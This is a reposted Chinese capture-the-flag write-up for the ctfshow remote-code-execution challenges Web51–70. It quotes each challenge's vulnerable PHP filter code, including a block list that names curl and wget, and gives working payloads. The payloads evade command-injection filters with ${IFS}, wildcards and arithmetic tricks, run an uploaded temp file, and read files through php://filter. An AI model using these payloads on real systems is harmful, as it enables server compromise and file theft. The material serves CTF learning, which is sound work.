欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 养生 > rce漏洞-ctfshow(50-70)

rce漏洞-ctfshow(50-70)

2024/11/30 10:46:26 来源:https://blog.csdn.net/m0_74402888/article/details/140629027  浏览:    关键词:rce漏洞-ctfshow(50-70)

Web51

 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }

Nl,绕过tac,cat,绕过flag

Payload

?c=nl<fla''g.php||

?c=nl<fla\g.php||

Web52

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web53

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

        echo($c);

        $d = system($c);

        echo "<br>".$d;

}

用 ${IFS} 绕过空格

Payload:

url + ?c=nl${IFS}fla''g.php||

Web54

if(isset($_GET['c'])){

    $c=$_GET['c'];

    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

        system($c);

    }

}else{

    highlight_file(__FILE__);

}

绕过|.*f.*l.*a.*g.*|

这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的

Payload:

url + ?c=/bin/?at${IFS}f???.php

url + ?c=vi${IFS}f???.php

Web55

无字母rce

Payload1:

?c=/???/????64 ????.???

意思为:?c=/bin/base64 flag.php

Payload2:

url + ?c=/???/???/????2 ????.???

url + flag.php.bz2

利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。

bzip2 命令压缩后的文件以 “ .bz2 ” 为后缀

Web56

无数字字母rce

构造html

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>POST数据包POC</title>

</head>

<body>

<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

    <label for="file">文件名:</label>

    <input type="file" name="file" id="file"><br>

    <input type="submit" name="submit" value="提交">

</form>

</body>

</html>

替换<form action="https://cb0ce2f1-4e4d-4c4d-b03c-74849a97ac86.challenge.ctf.show/" method="post" enctype="multipart/form-data">

的链接

payload:

?c=.%20/???/????????[@-[] 

原理:

Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。

Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。

ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

Web57

对 -37 再次取反即可得到 36。

根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37

Payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web58

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

Web59-65

同58的做题一样

Paylaod:

c=show_source('flag.php');

c=highlight_file("flag.php");

c=file_get_contents('flag.php');

filter协议:

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

web66

扫描目录

c=print_r(scandir('/'));

Paylaod:

c=show_source('/flag.txt');

c=highlight_file("/flag.txt");

c=file_get_contents('/flag.txt');

Web67-70

扫描目录

c=var_dump(scandir('/'));

c=var_export(scandir("/"));

Payload

c=include("/flag.txt");

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com